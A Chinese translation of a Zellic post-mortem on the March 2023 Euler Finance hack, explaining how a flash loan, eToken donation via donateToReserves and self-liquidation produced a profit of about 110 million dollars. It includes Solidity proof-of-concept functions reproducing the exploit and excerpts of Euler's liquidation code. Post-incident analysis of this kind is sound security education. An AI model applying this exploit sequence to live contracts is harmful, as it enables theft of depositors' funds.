Euler Finance攻击分析

  • zellic
  • 发布于 2023-03-15 20:59
  • 阅读 13

2023年3月14日,Euler Finance遭遇一起攻击,损失超过1.9亿美元。攻击者利用闪电贷进行了一系列操作,最终通过自我清算获取了比其债务更高的利润。文章详细分析了攻击策略及实现过程,提供了代码示例和整体收益的说明。

在2023年3月14日,Euler Finance遭遇了一次攻击,导致超过1.9亿美元的损失。在这次攻击中,一笔交易生成了1.1亿美元。在这篇博客中,我们将分析攻击者的策略并展示如何执行这一漏洞。

攻击概述

攻击可以总结为四个主要步骤:

  1. 攻击者获取一个闪电借贷并将其存入Euler。
  2. Euler为该存款铸造代币。
  3. 攻击者捐赠这些铸造的代币,使其具备清算资格。
  4. 攻击者自行清算以获取利润。

核心问题在于攻击者的自我清算导致的利润超过了他们的债务。现在,让我们在代码中检查整个过程。

第一步:获取闪电借贷

首先,攻击者从Balancer获取了wstETH的闪电借贷。

function setUp() public {
    IERC20[] memory tokens = new IERC20[](1);
    uint256[] memory amounts = new uint256[](1);

    tokens[0] = wstETH;
    amounts[0] = wstETH.balanceOf(address(vault));
    vault.flashLoan(this, tokens, amounts, ""); // 从Balancer获取闪电借贷
}

第二步:存入闪电借贷并捐赠铸造的代币

攻击者将闪电借贷存入Euler并铸造相应的代币。这些代币随后通过donateToReserves函数被捐赠,允许攻击者自我清算。

function receiveFlashLoan(
    IERC20[] memory tokens,
    uint256[] memory amounts,
    uint256[] memory feeAmounts,
    bytes memory userData
) external override {
    require(msg.sender == address(vault), "信息来源错误");

    uint256 amount = amounts[0];
    emit log_named_uint("receiveFlashLoan", amount);

    wstETH.approve(address(euler), amount);

    eToken.deposit(0, amount);
    eToken.mint(0, amount * 15);
    eToken.donateToReserves(0, amount * 3);

    liquidator.liquidate();

    emit log_named_uint("还款闪电借贷", amount);
    wstETH.transfer(msg.sender, amount);
}

第三步:自我清算

清算过程允许攻击者对其债务头寸清算,其对应的抵押品价值超过债务。

function liquidate() public {
    Liquidation.LiquidationOpportunity memory liqOpp = liquidation.checkLiquidation(address(this), msg.sender, address(wstETH), address(wstETH));
    liquidation.liquidate(msg.sender, address(wstETH), address(wstETH), liqOpp.repay, liqOpp.repay);
    eToken.withdraw(0, wstETH.balanceOf(address(euler)));
    wstETH.transfer(msg.sender, wstETH.balanceOf(address(this)));
}

利润和漏洞重现

此次漏洞的利润达到了66,000 ETH或1.1亿美元。为了社区的教育,完整的概念验证可以在这个GitHub\ 仓库↗中找到。

我们试图回答的基本问题是:如果攻击者承担了借贷头寸——部分捐赠了该头寸的保障,然后自我清算——他们怎么能获得比最初更多的钱?

Euler的机制

为了回答这一问题,我们必须理解Euler的机制:

Euler发行ETokens(收益代币)以计入存入协议的钱,并发行DTokens(债务代币)以计入从协议借入的钱。

在清算事件中,这一点非常重要。缺少抵押品以维持其借贷头寸的用户——称为违反者——将其抵押品和债务被清算者没收。

// 清算者承担违反者的债务:
transferBorrow(underlyingAssetStorage, underlyingAssetCache, underlyingAssetStorage.dTokenAddress, liqLocs.violator, liqLocs.liquidator, repay);

为了使清算者有兴趣夺取其他人的债务,必须存在某种激励。债务越大,这种激励必须越大。

uint baseDiscount = UNDERLYING_RESERVES_FEE + (1e18 - liqOpp.healthScore);

uint discountBooster = computeDiscountBooster(liqLocs.liquidator, liabilityValue);

uint discount = baseDiscount * discountBooster / 1e18;

if (discount > (baseDiscount + MAXIMUM_BOOSTER_DISCOUNT)) discount = baseDiscount + MAXIMUM_BOOSTER_DISCOUNT;
if (discount > MAXIMUM_DISCOUNT) discount = MAXIMUM_DISCOUNT;

liqOpp.baseDiscount = baseDiscount;
liqOpp.discount = discount;
liqOpp.conversionRate = liqLocs.underlyingPrice * 1e18 / liqLocs.collateralPrice * 1e18 / (1e18 - discount);

注意,高比例的D代币与E代币意味着清算者将承担更多的债务。通常,传输ETokens需要进行流动性检查。然而,在donateToReserves函数中缺少这一检查。

if (!isSubAccountOf(msgSender, from) && assetStorage.eTokenAllowance[from][msgSender] != type(uint).max) {
    require(assetStorage.eTokenAllowance[from][msgSender] >= amount, "e/授权不足");
    unchecked { assetStorage.eTokenAllowance[from][msgSender] -= amount; }
    emitViaProxy_Approval(proxyAddr, from, msgSender, assetStorage.eTokenAllowance[from][msgSender]);
}

transferBalance(assetStorage, assetCache, proxyAddr, from, to, amount);

攻击者正是利用了这一缺失,并捐赠了他们的E代币以创造上述激励。实际上,用于确定清算者利润的确切公式可以在下图中看到。

yield = repay * liqLocs.liqOpp.conversionRate / 1e18;

通过捐赠他们的E代币,头寸变得不健康,并且,清算折扣更高。随着转换率的增加,清算者的收益变得更加丰厚。

最终结果:1亿美元的漏洞。经济激励漏洞很复杂。它们无法通过静态分析器或自动化工具捕获,并且需要对协议的定制系统有深入理解。

结论

总之,攻击者利用闪电借贷存入一笔巨额资金,然后自我清算,最终获得比最初更多的钱。

在Zellic,我们对黑客攻击进行事后分析,因为我们希望保持对每个当前攻击的跟踪,并建立专业的威胁知识。我们分享这些信息,因为社区值得了解发生了什么错误,以及未来可以做出哪些不同的改进。

  • 原文链接: zellic.io/blog/euler-fin...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zellic
zellic
Security reviews and research that keep winners winning. https://www.zellic.io/